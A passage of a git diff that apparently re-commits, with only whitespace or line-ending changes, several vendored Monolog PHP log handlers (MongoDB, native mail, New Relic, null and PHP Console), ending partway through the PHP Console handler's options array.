a/vendor/monolog/monolog/src/Monolog/Handler/MissingExtensionException.php b/vendor/monolog/monolog/src/Monolog/Handler/MissingExtensionException.php index cce6d4afc1..4724a7e2d0 100644 --- a/vendor/monolog/monolog/src/Monolog/Handler/MissingExtensionException.php +++ b/vendor/monolog/monolog/src/Monolog/Handler/MissingExtensionException.php @@ -1,21 +1,21 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ - -namespace Monolog\Handler; - -/** - * Exception can be thrown if an extension for an handler is missing - * - * @author Christian Bergau - */ -class MissingExtensionException extends \Exception -{ -} + + * + * For the full copyright and license information, please view the LICENSE + * file that was distributed with this source code. + */ + +namespace Monolog\Handler; + +/** + * Exception can be thrown if an extension for an handler is missing + * + * @author Christian Bergau + */ +class MissingExtensionException extends \Exception +{ +} diff --git a/vendor/monolog/monolog/src/Monolog/Handler/MongoDBHandler.php b/vendor/monolog/monolog/src/Monolog/Handler/MongoDBHandler.php index 46ae7b658d..56fe755b96 100644 --- a/vendor/monolog/monolog/src/Monolog/Handler/MongoDBHandler.php +++ b/vendor/monolog/monolog/src/Monolog/Handler/MongoDBHandler.php @@ -1,59 +1,59 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ - -namespace Monolog\Handler; - -use Monolog\Logger; -use Monolog\Formatter\NormalizerFormatter; - -/** - * Logs to a MongoDB database. - * - * usage example: - * - * $log = new Logger('application'); - * $mongodb = new MongoDBHandler(new \Mongo("mongodb://localhost:27017"), "logs", "prod"); - * $log->pushHandler($mongodb); - * - * @author Thomas Tourlourat - */ -class MongoDBHandler extends AbstractProcessingHandler -{ - protected $mongoCollection; - - public function __construct($mongo, $database, $collection, $level = Logger::DEBUG, $bubble = true) - { - if (!($mongo instanceof \MongoClient || $mongo instanceof \Mongo || $mongo instanceof \MongoDB\Client)) { - throw new \InvalidArgumentException('MongoClient, Mongo or MongoDB\Client instance required'); - } - - $this->mongoCollection = $mongo->selectCollection($database, $collection); - - parent::__construct($level, $bubble); - } - - protected function write(array $record) - { - if ($this->mongoCollection instanceof \MongoDB\Collection) { - $this->mongoCollection->insertOne($record["formatted"]); - } else { - $this->mongoCollection->save($record["formatted"]); - } - } - - /** - * {@inheritDoc} - */ - protected function getDefaultFormatter() - { - return new NormalizerFormatter(); - } -} + + * + * For the full copyright and license information, please view the LICENSE + * file that was distributed with this source code. + */ + +namespace Monolog\Handler; + +use Monolog\Logger; +use Monolog\Formatter\NormalizerFormatter; + +/** + * Logs to a MongoDB database. + * + * usage example: + * + * $log = new Logger('application'); + * $mongodb = new MongoDBHandler(new \Mongo("mongodb://localhost:27017"), "logs", "prod"); + * $log->pushHandler($mongodb); + * + * @author Thomas Tourlourat + */ +class MongoDBHandler extends AbstractProcessingHandler +{ + protected $mongoCollection; + + public function __construct($mongo, $database, $collection, $level = Logger::DEBUG, $bubble = true) + { + if (!($mongo instanceof \MongoClient || $mongo instanceof \Mongo || $mongo instanceof \MongoDB\Client)) { + throw new \InvalidArgumentException('MongoClient, Mongo or MongoDB\Client instance required'); + } + + $this->mongoCollection = $mongo->selectCollection($database, $collection); + + parent::__construct($level, $bubble); + } + + protected function write(array $record) + { + if ($this->mongoCollection instanceof \MongoDB\Collection) { + $this->mongoCollection->insertOne($record["formatted"]); + } else { + $this->mongoCollection->save($record["formatted"]); + } + } + + /** + * {@inheritDoc} + */ + protected function getDefaultFormatter() + { + return new NormalizerFormatter(); + } +} diff --git a/vendor/monolog/monolog/src/Monolog/Handler/NativeMailerHandler.php b/vendor/monolog/monolog/src/Monolog/Handler/NativeMailerHandler.php index c90b940e5f..d7807fd116 100644 --- a/vendor/monolog/monolog/src/Monolog/Handler/NativeMailerHandler.php +++ b/vendor/monolog/monolog/src/Monolog/Handler/NativeMailerHandler.php @@ -1,185 +1,185 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ - -namespace Monolog\Handler; - -use Monolog\Logger; -use Monolog\Formatter\LineFormatter; - -/** - * NativeMailerHandler uses the mail() function to send the emails - * - * @author Christophe Coevoet - * @author Mark Garrett - */ -class NativeMailerHandler extends MailHandler -{ - /** - * The email addresses to which the message will be sent - * @var array - */ - protected $to; - - /** - * The subject of the email - * @var string - */ - protected $subject; - - /** - * Optional headers for the message - * @var array - */ - protected $headers = array(); - - /** - * Optional parameters for the message - * @var array - */ - protected $parameters = array(); - - /** - * The wordwrap length for the message - * @var int - */ - protected $maxColumnWidth; - - /** - * The Content-type for the message - * @var string - */ - protected $contentType = 'text/plain'; - - /** - * The encoding for the message - * @var string - */ - protected $encoding = 'utf-8'; - - /** - * @param string|array $to The receiver of the mail - * @param string $subject The subject of the mail - * @param string $from The sender of the mail - * @param int $level The minimum logging level at which this handler will be triggered - * @param bool $bubble Whether the messages that are handled can bubble up the stack or not - * @param int $maxColumnWidth The maximum column width that the message lines will have - */ - public function __construct($to, $subject, $from, $level = Logger::ERROR, $bubble = true, $maxColumnWidth = 70) - { - parent::__construct($level, $bubble); - $this->to = is_array($to) ? $to : array($to); - $this->subject = $subject; - $this->addHeader(sprintf('From: %s', $from)); - $this->maxColumnWidth = $maxColumnWidth; - } - - /** - * Add headers to the message - * - * @param string|array $headers Custom added headers - * @return self - */ - public function addHeader($headers) - { - foreach ((array) $headers as $header) { - if (strpos($header, "\n") !== false || strpos($header, "\r") !== false) { - throw new \InvalidArgumentException('Headers can not contain newline characters for security reasons'); - } - $this->headers[] = $header; - } - - return $this; - } - - /** - * Add parameters to the message - * - * @param string|array $parameters Custom added parameters - * @return self - */ - public function addParameter($parameters) - { - $this->parameters = array_merge($this->parameters, (array) $parameters); - - return $this; - } - - /** - * {@inheritdoc} - */ - protected function send($content, array $records) - { - $content = wordwrap($content, $this->maxColumnWidth); - $headers = ltrim(implode("\r\n", $this->headers) . "\r\n", "\r\n"); - $headers .= 'Content-type: ' . $this->getContentType() . '; charset=' . $this->getEncoding() . "\r\n"; - if ($this->getContentType() == 'text/html' && false === strpos($headers, 'MIME-Version:')) { - $headers .= 'MIME-Version: 1.0' . "\r\n"; - } - - $subject = $this->subject; - if ($records) { - $subjectFormatter = new LineFormatter($this->subject); - $subject = $subjectFormatter->format($this->getHighestRecord($records)); - } - - $parameters = implode(' ', $this->parameters); - foreach ($this->to as $to) { - mail($to, $subject, $content, $headers, $parameters); - } - } - - /** - * @return string $contentType - */ - public function getContentType() - { - return $this->contentType; - } - - /** - * @return string $encoding - */ - public function getEncoding() - { - return $this->encoding; - } - - /** - * @param string $contentType The content type of the email - Defaults to text/plain. Use text/html for HTML - * messages. - * @return self - */ - public function setContentType($contentType) - { - if (strpos($contentType, "\n") !== false || strpos($contentType, "\r") !== false) { - throw new \InvalidArgumentException('The content type can not contain newline characters to prevent email header injection'); - } - - $this->contentType = $contentType; - - return $this; - } - - /** - * @param string $encoding - * @return self - */ - public function setEncoding($encoding) - { - if (strpos($encoding, "\n") !== false || strpos($encoding, "\r") !== false) { - throw new \InvalidArgumentException('The encoding can not contain newline characters to prevent email header injection'); - } - - $this->encoding = $encoding; - - return $this; - } -} + + * + * For the full copyright and license information, please view the LICENSE + * file that was distributed with this source code. + */ + +namespace Monolog\Handler; + +use Monolog\Logger; +use Monolog\Formatter\LineFormatter; + +/** + * NativeMailerHandler uses the mail() function to send the emails + * + * @author Christophe Coevoet + * @author Mark Garrett + */ +class NativeMailerHandler extends MailHandler +{ + /** + * The email addresses to which the message will be sent + * @var array + */ + protected $to; + + /** + * The subject of the email + * @var string + */ + protected $subject; + + /** + * Optional headers for the message + * @var array + */ + protected $headers = array(); + + /** + * Optional parameters for the message + * @var array + */ + protected $parameters = array(); + + /** + * The wordwrap length for the message + * @var int + */ + protected $maxColumnWidth; + + /** + * The Content-type for the message + * @var string + */ + protected $contentType = 'text/plain'; + + /** + * The encoding for the message + * @var string + */ + protected $encoding = 'utf-8'; + + /** + * @param string|array $to The receiver of the mail + * @param string $subject The subject of the mail + * @param string $from The sender of the mail + * @param int $level The minimum logging level at which this handler will be triggered + * @param bool $bubble Whether the messages that are handled can bubble up the stack or not + * @param int $maxColumnWidth The maximum column width that the message lines will have + */ + public function __construct($to, $subject, $from, $level = Logger::ERROR, $bubble = true, $maxColumnWidth = 70) + { + parent::__construct($level, $bubble); + $this->to = is_array($to) ? $to : array($to); + $this->subject = $subject; + $this->addHeader(sprintf('From: %s', $from)); + $this->maxColumnWidth = $maxColumnWidth; + } + + /** + * Add headers to the message + * + * @param string|array $headers Custom added headers + * @return self + */ + public function addHeader($headers) + { + foreach ((array) $headers as $header) { + if (strpos($header, "\n") !== false || strpos($header, "\r") !== false) { + throw new \InvalidArgumentException('Headers can not contain newline characters for security reasons'); + } + $this->headers[] = $header; + } + + return $this; + } + + /** + * Add parameters to the message + * + * @param string|array $parameters Custom added parameters + * @return self + */ + public function addParameter($parameters) + { + $this->parameters = array_merge($this->parameters, (array) $parameters); + + return $this; + } + + /** + * {@inheritdoc} + */ + protected function send($content, array $records) + { + $content = wordwrap($content, $this->maxColumnWidth); + $headers = ltrim(implode("\r\n", $this->headers) . "\r\n", "\r\n"); + $headers .= 'Content-type: ' . $this->getContentType() . '; charset=' . $this->getEncoding() . "\r\n"; + if ($this->getContentType() == 'text/html' && false === strpos($headers, 'MIME-Version:')) { + $headers .= 'MIME-Version: 1.0' . "\r\n"; + } + + $subject = $this->subject; + if ($records) { + $subjectFormatter = new LineFormatter($this->subject); + $subject = $subjectFormatter->format($this->getHighestRecord($records)); + } + + $parameters = implode(' ', $this->parameters); + foreach ($this->to as $to) { + mail($to, $subject, $content, $headers, $parameters); + } + } + + /** + * @return string $contentType + */ + public function getContentType() + { + return $this->contentType; + } + + /** + * @return string $encoding + */ + public function getEncoding() + { + return $this->encoding; + } + + /** + * @param string $contentType The content type of the email - Defaults to text/plain. Use text/html for HTML + * messages. + * @return self + */ + public function setContentType($contentType) + { + if (strpos($contentType, "\n") !== false || strpos($contentType, "\r") !== false) { + throw new \InvalidArgumentException('The content type can not contain newline characters to prevent email header injection'); + } + + $this->contentType = $contentType; + + return $this; + } + + /** + * @param string $encoding + * @return self + */ + public function setEncoding($encoding) + { + if (strpos($encoding, "\n") !== false || strpos($encoding, "\r") !== false) { + throw new \InvalidArgumentException('The encoding can not contain newline characters to prevent email header injection'); + } + + $this->encoding = $encoding; + + return $this; + } +} diff --git a/vendor/monolog/monolog/src/Monolog/Handler/NewRelicHandler.php b/vendor/monolog/monolog/src/Monolog/Handler/NewRelicHandler.php index 0aed98f0ab..64dc1381a5 100644 --- a/vendor/monolog/monolog/src/Monolog/Handler/NewRelicHandler.php +++ b/vendor/monolog/monolog/src/Monolog/Handler/NewRelicHandler.php @@ -1,205 +1,205 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ - -namespace Monolog\Handler; - -use Monolog\Logger; -use Monolog\Utils; -use Monolog\Formatter\NormalizerFormatter; - -/** - * Class to record a log on a NewRelic application. - * Enabling New Relic High Security mode may prevent capture of useful information. - * - * This handler requires a NormalizerFormatter to function and expects an array in $record['formatted'] - * - * @see https://docs.newrelic.com/docs/agents/php-agent - * @see https://docs.newrelic.com/docs/accounts-partnerships/accounts/security/high-security - */ -class NewRelicHandler extends AbstractProcessingHandler -{ - /** - * Name of the New Relic application that will receive logs from this handler. - * - * @var string - */ - protected $appName; - - /** - * Name of the current transaction - * - * @var string - */ - protected $transactionName; - - /** - * Some context and extra data is passed into the handler as arrays of values. Do we send them as is - * (useful if we are using the API), or explode them for display on the NewRelic RPM website? - * - * @var bool - */ - protected $explodeArrays; - - /** - * {@inheritDoc} - * - * @param string $appName - * @param bool $explodeArrays - * @param string $transactionName - */ - public function __construct( - $level = Logger::ERROR, - $bubble = true, - $appName = null, - $explodeArrays = false, - $transactionName = null - ) { - parent::__construct($level, $bubble); - - $this->appName = $appName; - $this->explodeArrays = $explodeArrays; - $this->transactionName = $transactionName; - } - - /** - * {@inheritDoc} - */ - protected function write(array $record) - { - if (!$this->isNewRelicEnabled()) { - throw new MissingExtensionException('The newrelic PHP extension is required to use the NewRelicHandler'); - } - - if ($appName = $this->getAppName($record['context'])) { - $this->setNewRelicAppName($appName); - } - - if ($transactionName = $this->getTransactionName($record['context'])) { - $this->setNewRelicTransactionName($transactionName); - unset($record['formatted']['context']['transaction_name']); - } - - if (isset($record['context']['exception']) && ($record['context']['exception'] instanceof \Exception || (PHP_VERSION_ID >= 70000 && $record['context']['exception'] instanceof \Throwable))) { - newrelic_notice_error($record['message'], $record['context']['exception']); - unset($record['formatted']['context']['exception']); - } else { - newrelic_notice_error($record['message']); - } - - if (isset($record['formatted']['context']) && is_array($record['formatted']['context'])) { - foreach ($record['formatted']['context'] as $key => $parameter) { - if (is_array($parameter) && $this->explodeArrays) { - foreach ($parameter as $paramKey => $paramValue) { - $this->setNewRelicParameter('context_' . $key . '_' . $paramKey, $paramValue); - } - } else { - $this->setNewRelicParameter('context_' . $key, $parameter); - } - } - } - - if (isset($record['formatted']['extra']) && is_array($record['formatted']['extra'])) { - foreach ($record['formatted']['extra'] as $key => $parameter) { - if (is_array($parameter) && $this->explodeArrays) { - foreach ($parameter as $paramKey => $paramValue) { - $this->setNewRelicParameter('extra_' . $key . '_' . $paramKey, $paramValue); - } - } else { - $this->setNewRelicParameter('extra_' . $key, $parameter); - } - } - } - } - - /** - * Checks whether the NewRelic extension is enabled in the system. - * - * @return bool - */ - protected function isNewRelicEnabled() - { - return extension_loaded('newrelic'); - } - - /** - * Returns the appname where this log should be sent. Each log can override the default appname, set in this - * handler's constructor, by providing the appname in it's context. - * - * @param array $context - * @return null|string - */ - protected function getAppName(array $context) - { - if (isset($context['appname'])) { - return $context['appname']; - } - - return $this->appName; - } - - /** - * Returns the name of the current transaction. Each log can override the default transaction name, set in this - * handler's constructor, by providing the transaction_name in it's context - * - * @param array $context - * - * @return null|string - */ - protected function getTransactionName(array $context) - { - if (isset($context['transaction_name'])) { - return $context['transaction_name']; - } - - return $this->transactionName; - } - - /** - * Sets the NewRelic application that should receive this log. - * - * @param string $appName - */ - protected function setNewRelicAppName($appName) - { - newrelic_set_appname($appName); - } - - /** - * Overwrites the name of the current transaction - * - * @param string $transactionName - */ - protected function setNewRelicTransactionName($transactionName) - { - newrelic_name_transaction($transactionName); - } - - /** - * @param string $key - * @param mixed $value - */ - protected function setNewRelicParameter($key, $value) - { - if (null === $value || is_scalar($value)) { - newrelic_add_custom_parameter($key, $value); - } else { - newrelic_add_custom_parameter($key, Utils::jsonEncode($value, null, true)); - } - } - - /** - * {@inheritDoc} - */ - protected function getDefaultFormatter() - { - return new NormalizerFormatter(); - } -} + + * + * For the full copyright and license information, please view the LICENSE + * file that was distributed with this source code. + */ + +namespace Monolog\Handler; + +use Monolog\Logger; +use Monolog\Utils; +use Monolog\Formatter\NormalizerFormatter; + +/** + * Class to record a log on a NewRelic application. + * Enabling New Relic High Security mode may prevent capture of useful information. + * + * This handler requires a NormalizerFormatter to function and expects an array in $record['formatted'] + * + * @see https://docs.newrelic.com/docs/agents/php-agent + * @see https://docs.newrelic.com/docs/accounts-partnerships/accounts/security/high-security + */ +class NewRelicHandler extends AbstractProcessingHandler +{ + /** + * Name of the New Relic application that will receive logs from this handler. + * + * @var string + */ + protected $appName; + + /** + * Name of the current transaction + * + * @var string + */ + protected $transactionName; + + /** + * Some context and extra data is passed into the handler as arrays of values. Do we send them as is + * (useful if we are using the API), or explode them for display on the NewRelic RPM website? + * + * @var bool + */ + protected $explodeArrays; + + /** + * {@inheritDoc} + * + * @param string $appName + * @param bool $explodeArrays + * @param string $transactionName + */ + public function __construct( + $level = Logger::ERROR, + $bubble = true, + $appName = null, + $explodeArrays = false, + $transactionName = null + ) { + parent::__construct($level, $bubble); + + $this->appName = $appName; + $this->explodeArrays = $explodeArrays; + $this->transactionName = $transactionName; + } + + /** + * {@inheritDoc} + */ + protected function write(array $record) + { + if (!$this->isNewRelicEnabled()) { + throw new MissingExtensionException('The newrelic PHP extension is required to use the NewRelicHandler'); + } + + if ($appName = $this->getAppName($record['context'])) { + $this->setNewRelicAppName($appName); + } + + if ($transactionName = $this->getTransactionName($record['context'])) { + $this->setNewRelicTransactionName($transactionName); + unset($record['formatted']['context']['transaction_name']); + } + + if (isset($record['context']['exception']) && ($record['context']['exception'] instanceof \Exception || (PHP_VERSION_ID >= 70000 && $record['context']['exception'] instanceof \Throwable))) { + newrelic_notice_error($record['message'], $record['context']['exception']); + unset($record['formatted']['context']['exception']); + } else { + newrelic_notice_error($record['message']); + } + + if (isset($record['formatted']['context']) && is_array($record['formatted']['context'])) { + foreach ($record['formatted']['context'] as $key => $parameter) { + if (is_array($parameter) && $this->explodeArrays) { + foreach ($parameter as $paramKey => $paramValue) { + $this->setNewRelicParameter('context_' . $key . '_' . $paramKey, $paramValue); + } + } else { + $this->setNewRelicParameter('context_' . $key, $parameter); + } + } + } + + if (isset($record['formatted']['extra']) && is_array($record['formatted']['extra'])) { + foreach ($record['formatted']['extra'] as $key => $parameter) { + if (is_array($parameter) && $this->explodeArrays) { + foreach ($parameter as $paramKey => $paramValue) { + $this->setNewRelicParameter('extra_' . $key . '_' . $paramKey, $paramValue); + } + } else { + $this->setNewRelicParameter('extra_' . $key, $parameter); + } + } + } + } + + /** + * Checks whether the NewRelic extension is enabled in the system. + * + * @return bool + */ + protected function isNewRelicEnabled() + { + return extension_loaded('newrelic'); + } + + /** + * Returns the appname where this log should be sent. Each log can override the default appname, set in this + * handler's constructor, by providing the appname in it's context. + * + * @param array $context + * @return null|string + */ + protected function getAppName(array $context) + { + if (isset($context['appname'])) { + return $context['appname']; + } + + return $this->appName; + } + + /** + * Returns the name of the current transaction. Each log can override the default transaction name, set in this + * handler's constructor, by providing the transaction_name in it's context + * + * @param array $context + * + * @return null|string + */ + protected function getTransactionName(array $context) + { + if (isset($context['transaction_name'])) { + return $context['transaction_name']; + } + + return $this->transactionName; + } + + /** + * Sets the NewRelic application that should receive this log. + * + * @param string $appName + */ + protected function setNewRelicAppName($appName) + { + newrelic_set_appname($appName); + } + + /** + * Overwrites the name of the current transaction + * + * @param string $transactionName + */ + protected function setNewRelicTransactionName($transactionName) + { + newrelic_name_transaction($transactionName); + } + + /** + * @param string $key + * @param mixed $value + */ + protected function setNewRelicParameter($key, $value) + { + if (null === $value || is_scalar($value)) { + newrelic_add_custom_parameter($key, $value); + } else { + newrelic_add_custom_parameter($key, Utils::jsonEncode($value, null, true)); + } + } + + /** + * {@inheritDoc} + */ + protected function getDefaultFormatter() + { + return new NormalizerFormatter(); + } +} diff --git a/vendor/monolog/monolog/src/Monolog/Handler/NullHandler.php b/vendor/monolog/monolog/src/Monolog/Handler/NullHandler.php index 6032236839..4b8458833c 100644 --- a/vendor/monolog/monolog/src/Monolog/Handler/NullHandler.php +++ b/vendor/monolog/monolog/src/Monolog/Handler/NullHandler.php @@ -1,45 +1,45 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ - -namespace Monolog\Handler; - -use Monolog\Logger; - -/** - * Blackhole - * - * Any record it can handle will be thrown away. This can be used - * to put on top of an existing stack to override it temporarily. - * - * @author Jordi Boggiano - */ -class NullHandler extends AbstractHandler -{ - /** - * @param int $level The minimum logging level at which this handler will be triggered - */ - public function __construct($level = Logger::DEBUG) - { - parent::__construct($level, false); - } - - /** - * {@inheritdoc} - */ - public function handle(array $record) - { - if ($record['level'] < $this->level) { - return false; - } - - return true; - } -} + + * + * For the full copyright and license information, please view the LICENSE + * file that was distributed with this source code. + */ + +namespace Monolog\Handler; + +use Monolog\Logger; + +/** + * Blackhole + * + * Any record it can handle will be thrown away. This can be used + * to put on top of an existing stack to override it temporarily. + * + * @author Jordi Boggiano + */ +class NullHandler extends AbstractHandler +{ + /** + * @param int $level The minimum logging level at which this handler will be triggered + */ + public function __construct($level = Logger::DEBUG) + { + parent::__construct($level, false); + } + + /** + * {@inheritdoc} + */ + public function handle(array $record) + { + if ($record['level'] < $this->level) { + return false; + } + + return true; + } +} diff --git a/vendor/monolog/monolog/src/Monolog/Handler/PHPConsoleHandler.php b/vendor/monolog/monolog/src/Monolog/Handler/PHPConsoleHandler.php index 3804fe5436..d0a8b43e71 100644 --- a/vendor/monolog/monolog/src/Monolog/Handler/PHPConsoleHandler.php +++ b/vendor/monolog/monolog/src/Monolog/Handler/PHPConsoleHandler.php @@ -1,243 +1,243 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ - -namespace Monolog\Handler; - -use Exception; -use Monolog\Formatter\LineFormatter; -use Monolog\Logger; -use Monolog\Utils; -use PhpConsole\Connector; -use PhpConsole\Handler; -use PhpConsole\Helper; - -/** - * Monolog handler for Google Chrome extension "PHP Console" - * - * Display PHP error/debug log messages in Google Chrome console and notification popups, executes PHP code remotely - * - * Usage: - * 1. Install Google Chrome extension https://chrome.google.com/webstore/detail/php-console/nfhmhhlpfleoednkpnnnkolmclajemef - * 2. See overview https://github.com/barbushin/php-console#overview - * 3. Install PHP Console library https://github.com/barbushin/php-console#installation - * 4. Example (result will looks like http://i.hizliresim.com/vg3Pz4.png) - * - * $logger = new \Monolog\Logger('all', array(new \Monolog\Handler\PHPConsoleHandler())); - * \Monolog\ErrorHandler::register($logger); - * echo $undefinedVar; - * $logger->addDebug('SELECT * FROM users', array('db', 'time' => 0.012)); - * PC::debug($_SERVER); // PHP Console debugger for any type of vars - * - * @author Sergey Barbushin https://www.linkedin.com/in/barbushin - */ -class PHPConsoleHandler extends AbstractProcessingHandler -{ - private $options = array( - 'enabled' => true, // bool Is PHP Console server enabled - 'classesPartialsTraceIgnore' => array('Monolog\\'), // array Hide calls of classes started with... - 'debugTagsKeysInContext' => array(0, 'tag'), // bool Is PHP Console server enabled - 'useOwnErrorsHandler' => false, // bool Enable errors handling - 'useOwnExceptionsHandler' => false, // bool Enable exceptions handling - 'sourcesBasePath' => null, // string Base path of all project sources to strip in errors source paths - 'registerHelper' => true, // bool Register PhpConsole\Helper that allows short debug calls like PC::debug($var, 'ta.g.s') - 'serverEncoding' => null, // string|null Server internal encoding - 'headersLimit' => null, // int|null Set headers size limit for your web-server - 'password' => null, // string|null Protect PHP Console connection by password - 'enableSslOnlyMode' => false, // bool Force connection by SSL for clients with PHP Console installed - 'ipMasks' => array(), // array Set IP masks of clients that will be allowed to connect to PHP Console: array('192.168.*.*', '127.0.0.1') - 'enableEvalListener' => false, // bool Enable eval request to be handled by eval dispatcher(if enabled, 'password' option is also required) - 'dumperDetectCallbacks' => false, // bool Convert callback items in dumper vars to (callback SomeClass::someMethod) strings - 'dumperLevelLimit' => 5, // int Maximum dumped vars array or object nested dump level - 'dumperItemsCountLimit' => 100, // int Maximum dumped var same level array items or object properties number - 'dumperItemSizeLimit' => 5000, // int Maximum length of any string or dumped array item - 'dumperDumpSizeLimit' => 500000, // int Maximum approximate size of dumped vars result formatted in JSON - 'detectDumpTraceAndSource' => false, // bool Autodetect and append trace data to debug - 'dataStorage' => null, // PhpConsole\Storage|null Fixes problem with custom $_SESSION handler(see http://goo.gl/Ne8juJ) - ); - - /** @var Connector */ - private $connector; - - /** - * @param array $options See \Monolog\Handler\PHPConsoleHandler::$options for more details - * @param Connector|null $connector Instance of \PhpConsole\Connector class (optional) - * @param int $level - * @param bool $bubble - * @throws Exception - */ - public function __construct(array $options = array(), Connector $connector = null, $level = Logger::DEBUG, $bubble = true) - { - if (!class_exists('PhpConsole\Connector')) { - throw new Exception('PHP Console library not found. See https://github.com/barbushin/php-console#installation'); - } - parent::__construct($level, $bubble); - $this->options = $this->initOptions($options); - $this->connector = $this->initConnector($connector); - } - - private function initOptions(array $options) - { - $wrongOptions = array_diff(array_keys($options), array_keys($this->options)); - if ($wrongOptions) { - throw new Exception('Unknown options: ' . implode(', ', $wrongOptions)); - } - - return array_replace($this->options, $options); - } - - private function initConnector(Connector $connector = null) - { - if (!$connector) { - if ($this->options['dataStorage']) { - Connector::setPostponeStorage($this->options['dataStorage']); - } - $connector = Connector::getInstance(); - } - - if ($this->options['registerHelper'] && !Helper::isRegistered()) { - Helper::register(); - } - - if ($this->options['enabled'] && $connector->isActiveClient()) { - if ($this->options['useOwnErrorsHandler'] || $this->options['useOwnExceptionsHandler']) { - $handler = Handler::getInstance(); - $handler->setHandleErrors($this->options['useOwnErrorsHandler']); - $handler->setHandleExceptions($this->options['useOwnExceptionsHandler']); - $handler->start(); - } - if ($this->options['sourcesBasePath']) { - $connector->setSourcesBasePath($this->options['sourcesBasePath']); - } - if ($this->options['serverEncoding']) { - $connector->setServerEncoding($this->options['serverEncoding']); - } - if ($this->options['password']) { - $connector->setPassword($this->options['password']); - } - if ($this->options['enableSslOnlyMode']) { - $connector->enableSslOnlyMode(); - } - if ($this->options['ipMasks']) { - $connector->setAllowedIpMasks($this->options['ipMasks']); - } - if ($this->options['headersLimit']) { - $connector->setHeadersLimit($this->options['headersLimit']); - } - if ($this->options['detectDumpTraceAndSource']) { - $connector->getDebugDispatcher()->detectTraceAndSource = true; - } - $dumper = $connector->getDumper(); - $dumper->levelLimit = $this->options['dumperLevelLimit']; - $dumper->itemsCountLimit = $this->options['dumperItemsCountLimit']; - $dumper->itemSizeLimit = $this->options['dumperItemSizeLimit']; - $dumper->dumpSizeLimit = $this->options['dumperDumpSizeLimit']; - $dumper->detectCallbacks = $this->options['dumperDetectCallbacks']; - if ($this->options['enableEvalListener']) { - $connector->startEvalRequestsListener(); - } - } - - return $connector; - } - - public function getConnector() - { - return $this->connector; - } - - public function getOptions() - { - return $this->options; - } - - public function handle(array $record) - { - if ($this->options['enabled'] && $this->connector->isActiveClient()) { - return parent::handle($record); - } - - return !$this->bubble; - } - - /** - * Writes the record down to the log of the implementing handler - * - * @param array $record - * @return void - */ - protected function write(array $record) - { - if ($record['level'] < Logger::NOTICE) { - $this->handleDebugRecord($record); - } elseif (isset($record['context']['exception']) && $record['context']['exception'] instanceof Exception) { - $this->handleExceptionRecord($record); - } else { - $this->handleErrorRecord($record); - } - } - - private function handleDebugRecord(array $record) - { - $tags = $this->getRecordTags($record); - $message = $record['message']; - if ($record['context']) { - $message .= ' ' . Utils::jsonEncode($this->connector->getDumper()->dump(array_filter($record['context'])), null, true); - } - $this->connector->getDebugDispatcher()->dispatchDebug($message, $tags, $this->options['classesPartialsTraceIgnore']); - } - - private function handleExceptionRecord(array $record) - { - $this->connector->getErrorsDispatcher()->dispatchException($record['context']['exception']); - } - - private function handleErrorRecord(array $record) - { - $context = $record['context']; - - $this->connector->getErrorsDispatcher()->dispatchError( - isset($context['code']) ? $context['code'] : null, - isset($context['message']) ? $context['message'] : $record['message'], - isset($context['file']) ? $context['file'] : null, - isset($context['line']) ? $context['line'] : null, - $this->options['classesPartialsTraceIgnore'] - ); - } - - private function getRecordTags(array &$record) - { - $tags = null; - if (!empty($record['context'])) { - $context = & $record['context']; - foreach ($this->options['debugTagsKeysInContext'] as $key) { - if (!empty($context[$key])) { - $tags = $context[$key]; - if ($key === 0) { - array_shift($context); - } else { - unset($context[$key]); - } - break; - } - } - } - - return $tags ?: strtolower($record['level_name']); - } - - /** - * {@inheritDoc} - */ - protected function getDefaultFormatter() - { - return new LineFormatter('%message%'); - } -} + + * + * For the full copyright and license information, please view the LICENSE + * file that was distributed with this source code. + */ + +namespace Monolog\Handler; + +use Exception; +use Monolog\Formatter\LineFormatter; +use Monolog\Logger; +use Monolog\Utils; +use PhpConsole\Connector; +use PhpConsole\Handler; +use PhpConsole\Helper; + +/** + * Monolog handler for Google Chrome extension "PHP Console" + * + * Display PHP error/debug log messages in Google Chrome console and notification popups, executes PHP code remotely + * + * Usage: + * 1. Install Google Chrome extension https://chrome.google.com/webstore/detail/php-console/nfhmhhlpfleoednkpnnnkolmclajemef + * 2. See overview https://github.com/barbushin/php-console#overview + * 3. Install PHP Console library https://github.com/barbushin/php-console#installation + * 4. Example (result will looks like http://i.hizliresim.com/vg3Pz4.png) + * + * $logger = new \Monolog\Logger('all', array(new \Monolog\Handler\PHPConsoleHandler())); + * \Monolog\ErrorHandler::register($logger); + * echo $undefinedVar; + * $logger->addDebug('SELECT * FROM users', array('db', 'time' => 0.012)); + * PC::debug($_SERVER); // PHP Console debugger for any type of vars + * + * @author Sergey Barbushin https://www.linkedin.com/in/barbushin + */ +class PHPConsoleHandler extends AbstractProcessingHandler +{ + private $options = array( + 'enabled' => true, // bool Is PHP Console server enabled + 'classesPartialsTraceIgnore' => array('Monolog\\'), // array Hide calls of classes started with... + 'debugTagsKeysInContext' => array(0, 'tag'), // bool Is PHP Console server enabled + 'useOwnErrorsHandler' => false, // bool Enable errors handling + 'useOwnExceptionsHandler' => false, // bool Enable exceptions handling + 'sourcesBasePath' => null, // string Base path of all project sources to strip in errors source paths + 'registerHelper' => true, // bool Register PhpConsole\Helper that allows short debug calls like PC::debug($var, 'ta.g.s') + 'serverEncoding' => null, // string|null Server internal encoding + 'headersLimit' => null, // int|null Set headers size limit for your web-server + 'password' => null, // string|null Protect PHP Console connection by password + 'enableSslOnlyMode' => false, // bool Force connection by SSL for clients with PHP Console installed + 'ipMasks' => array(), // array Set IP masks of clients that will be allowed to connect to PHP Console: array('192.168.*.*', '127.0.0.1') + 'enableEvalListener' => false, // bool Enable eval request to be handled by eval dispatcher(if enabled, 'password' option is also required) + 'dumperDetectCallbacks' => false, // bool Convert callback items in dumper vars to (callback SomeClass::someMethod) strings + 'dumperLevelLimit' => 5, // int Maximum dumped vars array or object nested dump level + 'dumperItemsCountLimit' => 100, // int Maximum dumped var same level array items or object properties number + 'dumperItemSizeLimit' => 5000, // int Maximum length of any string or dumped array item + 'dumperDumpSizeLimit' => 500000, // int Maximum approximate size of dumped vars result formatted in JSON + 